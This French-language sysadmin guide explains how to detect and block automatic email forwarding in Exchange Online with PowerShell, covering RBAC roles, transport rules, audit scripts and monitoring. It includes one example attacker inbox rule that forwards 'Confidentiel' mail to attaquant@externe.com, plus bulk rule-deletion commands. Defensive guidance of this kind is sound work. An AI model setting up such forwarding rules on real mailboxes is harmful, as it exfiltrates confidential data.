Sommaire :
Exchange Online : Bloquer redirection email et transfert automatique (PowerShell 2025)

Introduction
Les transferts automatiques d’emails vers l’extérieur ? Un cauchemar pour tout admin système qui se respecte. Si vous gérez un tenant Exchange Online, vous avez probablement déjà eu cette sueur froide en découvrant qu’un utilisateur a configuré une redirection email vers sa boîte perso… avec toutes les données sensibles qui sortent en prime.
Microsoft n’a pas exactement facilité les choses avec ses multiples canaux de transfert et ses interfaces qui donnent l’illusion de contrôle. Mais rassurez-vous : avec les bonnes commandes PowerShell Exchange Online et une stratégie claire, on peut verrouiller ça proprement.
Dans ce guide, je vous montre comment bloquer efficacement tous les transferts automatiques dans Exchange Online, détecter ceux déjà en place, et mettre en place un monitoring automatisé. Du RBAC aux Transport Rules en passant par l’audit, on couvre tout avec PowerShell Exchange Online sécurité.
Pourquoi c’est un problème majeur en 2025
Avant de foncer tête baissée dans les commandes, comprenons pourquoi Microsoft nous complique la vie avec ses transferts.
Les risques sont multiples et bien réels :
🔓 Fuite de données incontrôlée
Vos emails confidentiels partent vers Gmail, Yahoo ou pire… sans aucune traçabilité.
🛡️ Contournement des protections
ATP (Advanced Threat Protection), DLP, audit logs… tout ça devient inutile si les mails sont redirigés.
⚖️ Non-conformité RGPD
L’entreprise perd la maîtrise de l’information. Bonjour l’amende de la CNIL.
🎯 Vecteur d’exfiltration
Un attaquant peut créer discrètement une règle de transfert pour siphonner vos données.
💡 À savoir : Les cyberattaquants utilisent de plus en plus les règles de transfert automatique pour exfiltrer des données après une intrusion. C’est discret et difficile à détecter.
Les deux canaux de transfert à maîtriser
Exchange Online propose deux mécanismes distincts pour rediriger automatiquement des emails :
1. Redirection globale de boîte (ForwardingAddress)
Cette méthode redirige tous les emails reçus vers une adresse externe :
# Via l'interface OWA ou en PowerShell
Set-Mailbox prenom.nom@domaine.com -ForwardingSmtpAddress "externe@gmail.com"
Caractéristiques :
- Transfert systématique de tous les emails
- Configurable via OWA ou PowerShell
- Visible dans les propriétés de la boîte
- Géré par les paramètres
ForwardingAddress
etForwardingSmtpAddress
2. Règles de boîte conditionnelles (InboxRule)
Plus subtiles, ces règles permettent un transfert sélectif :
# Exemple de règle pernicieuse
New-InboxRule -Name "Forward Important" -SubjectContainsWords "Confidentiel" -ForwardTo "attaquant@externe.com"
Caractéristiques :
- Transfert conditionnel (expéditeur, sujet, mots-clés…)
- Plus difficiles à détecter
- Configurables uniquement par l’utilisateur
- Gérées via
Get-InboxRule
Méthode 1 : RBAC – Limiter l’accès aux interfaces

Le RBAC (Role-Based Access Control) permet de retirer les boutons de transfert des interfaces utilisateur. C’est un premier verrou, mais attention aux limitations.
Créer un rôle personnalisé
# Étape 1 : Créer un rôle basé sur MyBaseOptions
New-ManagementRole -Name "MyBaseOptions-NoForward" -Parent "MyBaseOptions"
# Étape 2 : Supprimer les paramètres dangereux
Set-ManagementRoleEntry "MyBaseOptions-NoForward\Set-Mailbox" -RemoveParameter -Parameters @(
"ForwardingAddress",
"ForwardingSmtpAddress",
"DeliverToMailboxAndForward"
)
Créer et appliquer la policy
# Étape 3 : Créer une policy utilisateur
New-RoleAssignmentPolicy -Name "PolicyNoEmailForward" -Roles @(
"MyContactInformation",
"MyRetentionPolicies",
"MyBaseOptions-NoForward",
"MyTextMessaging"
)
# Étape 4 : Appliquer à une boîte
Set-Mailbox prenom.nom@domaine.com -RoleAssignmentPolicy "PolicyNoEmailForward"
⚠️ Erreur fréquente : Le RBAC ne bloque PAS les transferts configurés par un admin, ni les InboxRules, ni les transferts déjà existants. C’est juste cosmétique au niveau interface.
Appliquer en masse
# Appliquer la policy à toutes les boîtes utilisateur
Get-Mailbox -RecipientTypeDetails UserMailbox | Set-Mailbox -RoleAssignmentPolicy "PolicyNoEmailForward"
Méthode 2 : Transport Rules – Le vrai blocage (PowerShell Exchange Online sécurité)

Les Transport Rules (règles de flux de messagerie) sont la seule solution efficace pour bloquer redirection email Office 365, quel que soit le canal utilisé. Cette méthode PowerShell offre un contrôle total sur les transferts email Exchange Online.
La règle ultime
New-TransportRule -Name "Block-Auto-Forwarding" `
-SentToScope NotInOrganization `
-FromScope InOrganization `
-MessageType AutoForward `
-ExceptIfFrom @("admin@votredomaine.com", "service@votredomaine.com") `
-RejectMessageReasonText "Le transfert automatique vers l'extérieur est interdit par la politique de sécurité."
Paramètres expliqués
Paramètre | Description | Pourquoi c’est important |
---|---|---|
FromScope InOrganization | Emails provenant de votre organisation | Évite de bloquer les emails légitimes entrants |
SentToScope NotInOrganization | Destinataire externe | Cible uniquement les sorties vers l’extérieur |
MessageType AutoForward | Messages transférés automatiquement | Distingue transfert auto vs transfert manuel |
ExceptIfFrom | Liste blanche d’expéditeurs | Permet les transferts légitimes (comptes de service) |
Version avancée avec logging
New-TransportRule -Name "Block-Auto-Forwarding-Advanced" `
-SentToScope NotInOrganization `
-FromScope InOrganization `
-MessageType AutoForward `
-ExceptIfFrom @("admin@votredomaine.com") `
-RejectMessageReasonText "Transfert automatique bloqué. Contactez le support IT." `
-GenerateIncidentReport "admin@votredomaine.com" `
-IncidentReportContent @("Sender", "Recipients", "Subject", "MessageHeaders")
Cette version génère un rapport d’incident à chaque blocage pour traçabilité.
Audit et détection des transferts actifs (PowerShell Exchange Online)
Avant d’appliquer le blocage, il faut faire le ménage dans l’existant. Ces scripts PowerShell Exchange Online sécurité vous permettent de détecter tous les transferts email configurés.
Scanner les ForwardingAddress
# Trouver toutes les boîtes avec redirection active
$ForwardingMailboxes = Get-Mailbox -ResultSize Unlimited | Where-Object {
$_.ForwardingSmtpAddress -or $_.ForwardingAddress
} | Select-Object DisplayName, ForwardingAddress, ForwardingSmtpAddress, PrimarySmtpAddress
# Afficher les résultats
$ForwardingMailboxes | Format-Table -AutoSize
# Exporter en CSV pour analyse
$ForwardingMailboxes | Export-Csv "C:\temp\forwarding-audit.csv" -NoTypeInformation
Scanner les InboxRules suspectes
# Scanner toutes les règles de transfert
$SuspiciousRules = @()
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
$Mailbox = $_
$Rules = Get-InboxRule -Mailbox $Mailbox.Alias | Where-Object {
$_.ForwardTo -or $_.RedirectTo
}
foreach ($Rule in $Rules) {
$SuspiciousRules += [PSCustomObject]@{
Mailbox = $Mailbox.DisplayName
Email = $Mailbox.PrimarySmtpAddress
RuleName = $Rule.Name
ForwardTo = $Rule.ForwardTo -join "; "
RedirectTo = $Rule.RedirectTo -join "; "
Enabled = $Rule.Enabled
}
}
}
# Afficher et exporter
$SuspiciousRules | Format-Table -AutoSize
$SuspiciousRules | Export-Csv "C:\temp\inbox-rules-audit.csv" -NoTypeInformation
Suppression en masse (avec précaution)
# ATTENTION : Testez d'abord sur quelques boîtes !
# Supprimer toutes les redirections ForwardingAddress
Get-Mailbox -ResultSize Unlimited | Where-Object {
$_.ForwardingSmtpAddress -or $_.ForwardingAddress
} | Set-Mailbox -ForwardingAddress $null -ForwardingSmtpAddress $null
# Supprimer les InboxRules de transfert (plus délicat)
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
$Rules = Get-InboxRule -Mailbox $_.Alias | Where-Object {
$_.ForwardTo -or $_.RedirectTo
}
$Rules | Remove-InboxRule -Confirm:$false
}
Script de monitoring automatisé
Créez un script PowerShell planifiable pour détecter quotidiennement les nouveaux transferts :
# Script : Monitor-EmailForwarding.ps1
param(
[string]$ReportPath = "C:\Scripts\Reports",
[string]$AdminEmail = "admin@votredomaine.com"
)
# Connexion Exchange Online
Connect-ExchangeOnline -ShowProgress $false
$Date = Get-Date -Format "yyyy-MM-dd"
$Report = @()
# Scan ForwardingAddress
$ForwardingBoxes = Get-Mailbox -ResultSize Unlimited | Where-Object {
$_.ForwardingSmtpAddress -or $_.ForwardingAddress
}
foreach ($Box in $ForwardingBoxes) {
$Report += [PSCustomObject]@{
Type = "ForwardingAddress"
Mailbox = $Box.DisplayName
Email = $Box.PrimarySmtpAddress
Target = $Box.ForwardingSmtpAddress
Details = "Redirection globale active"
Date = $Date
}
}
# Scan InboxRules
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
$Mailbox = $_
$Rules = Get-InboxRule -Mailbox $Mailbox.Alias | Where-Object {
$_.ForwardTo -or $_.RedirectTo
}
foreach ($Rule in $Rules) {
$Report += [PSCustomObject]@{
Type = "InboxRule"
Mailbox = $Mailbox.DisplayName
Email = $Mailbox.PrimarySmtpAddress
Target = ($Rule.ForwardTo + $Rule.RedirectTo) -join "; "
Details = "Règle: $($Rule.Name)"
Date = $Date
}
}
}
# Générer le rapport
$ReportFile = "$ReportPath\EmailForwarding-$Date.csv"
$Report | Export-Csv $ReportFile -NoTypeInformation
# Envoyer par email si détections
if ($Report.Count -gt 0) {
$Subject = "ALERTE : $($Report.Count) transfert(s) d'email détecté(s)"
$Body = "Transferts détectés le $Date. Voir fichier joint."
Send-MailMessage -To $AdminEmail -Subject $Subject -Body $Body -Attachments $ReportFile -SmtpServer "smtp.office365.com" -Port 587 -UseSsl
}
Write-Host "Scan terminé. $($Report.Count) transfert(s) détecté(s)."
Communication avec les utilisateurs
Quand vous détectez un transfert, informez l’utilisateur de manière pédagogique :
Objet : [IT] Transfert automatique d’emails détecté sur votre boîte
Bonjour [Prénom],
Nous avons détecté que votre boîte email professionelle transfère automatiquement vos messages vers [adresse externe].
Pourquoi c’est problématique :
- Les données confidentielles sortent de l’entreprise
- Contournement des protections de sécurité
- Non-conformité avec le RGPD
Ce transfert sera désactivé sous 48h.
Alternatives recommandées :
- Configurez votre client Outlook pour gérer plusieurs comptes
- Utilisez l’app mobile Outlook (iOS/Android)
- Consultez votre messagerie via OWA : outlook.office365.com
Pour toute question : support@votredomaine.com
Cordialement,
L’équipe IT
Bonnes pratiques et recommandations
Stratégie de déploiement progressive
- Phase 1 : Audit complet (2 semaines)
- Phase 2 : Communication utilisateurs + suppression transfers existants (1 semaine)
- Phase 3 : Activation RBAC (immédiat)
- Phase 4 : Activation Transport Rules (1 semaine après)
- Phase 5 : Monitoring automatisé (permanent)
🔗 Environnement hybride ? Si vous gérez un mix Exchange On-Premises + Exchange Online, assurez-vous que vos rôles FSMO Active Directory sont correctement configurés. Un dysfonctionnement AD peut créer des failles de sécurité dans votre politique de transferts.
Liste blanche à prévoir
Certains comptes légitimes peuvent avoir besoin de transférer :
# Exemples d'exceptions courantes
$WhitelistedAccounts = @(
"noreply@votredomaine.com", # Comptes de service
"notifications@votredomaine.com", # Notifications automatiques
"support@votredomaine.com" # Support client
)
Surveillance continue
- Script de monitoring quotidien
- Alertes en temps réel sur nouvelles règles
- Rapport mensuel pour la direction
- Formation utilisateurs régulière
💡 Astuce pro : Créez un groupe de sécurité « ForwardingExceptions » dans Azure AD pour gérer facilement la liste blanche via les groupes plutôt qu’en dur dans les scripts.
Conclusion
Bloquer les transferts automatiques dans Exchange Online demande une approche méthodique combinant RBAC, Transport Rules et monitoring. C’est un incontournable de la sécurité email en 2025, surtout avec la multiplication des cyberattaques ciblant les messageries d’entreprise.
L’implémentation que je vous ai présentée vous donne un contrôle total sur les flux sortants, mais n’oubliez pas l’aspect humain : vos utilisateurs ont besoin d’alternatives pratiques. Un bon déploiement s’accompagne toujours de formation et d’outils adaptés.
Dans un prochain guide, nous verrons comment aller plus loin avec la protection contre l’exfiltration de données via SharePoint et OneDrive. Car spoiler alert : les transferts emails ne sont qu’une partie du problème…
💬 Une question sur ce guide ? N’hésitez pas à me contacter ou à laisser un commentaire. J’ai probablement déjà rencontré votre cas de figure !